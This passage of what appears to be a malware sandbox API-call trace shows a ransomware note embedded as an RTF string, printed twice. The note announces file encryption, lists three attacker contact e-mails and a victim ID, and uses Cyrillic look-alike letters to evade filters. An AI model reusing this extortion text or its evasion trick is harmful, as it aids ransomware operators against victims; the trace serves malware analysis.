lpUsedDefaultChar=0x0) returned 14086 [0040.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 